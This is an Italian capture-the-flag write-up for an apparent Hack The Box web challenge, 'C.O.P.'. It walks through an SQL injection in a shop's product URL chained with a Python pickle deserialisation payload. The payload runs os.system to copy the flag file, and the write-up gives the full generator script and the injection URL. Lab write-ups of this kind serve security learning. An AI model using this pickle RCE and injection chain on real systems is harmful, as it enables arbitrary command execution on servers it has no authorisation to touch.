C.O.P.
Autore: Lord Shiva • Aggiornamento: 22.08.2023 • Tempo di lettura: 05 min.Prima di tutto ho iniziato a curiosare sul sito per cercare eventuali falle. Il sito è un semplice negozio con pochissimi articoli.
Cliccando sugli articoli, vengono visualizzate le schede di ogni singolo prodotto.
L'URL attira la mia attenzione: http://localhost:1337/view/1
Modificando il numero dell'articolo con una lettera fa crashare il sistema. In questo caso, con molta probabilità è possibile eseguire un SQL injection.
Guardando il codice della pagina models.py è possibile notare che la variabile {product_id} non è pulita ed è quindi possibile passare del codice malevolo.
A questo punto sarà sufficiente creare un codice injection.
import pickle
import base64
import os
payload = 'cp flag.txt application/static/.'
class RCE:
def __reduce__(self):
return os.system, (payload,)
if __name__ == '__main__':
print(base64.urlsafe_b64encode(pickle.dumps(RCE())).decode('ascii'))
Questo script sopra consente di ottenere una stringa in Base64 per il comando cp flag.txt application/static/.
Eseguite il file sopra con il comando python3 <nome_del_file_py> e copiatevi l'output (stringa in Base64).
A questo punto facciamo una prova nel nostro ambiente locale eseguento il seguente comando:
http://localhost:1337/view/'%20UNION%20SELECT%20'<stringa_che_avete_copiato>
Troverete a questo punto la flag di test all'indirizzo: http://localhost:1337/static/flag.txt
Ripetete l'operazione online e troverete la flag
HTB{n0_......................._4u}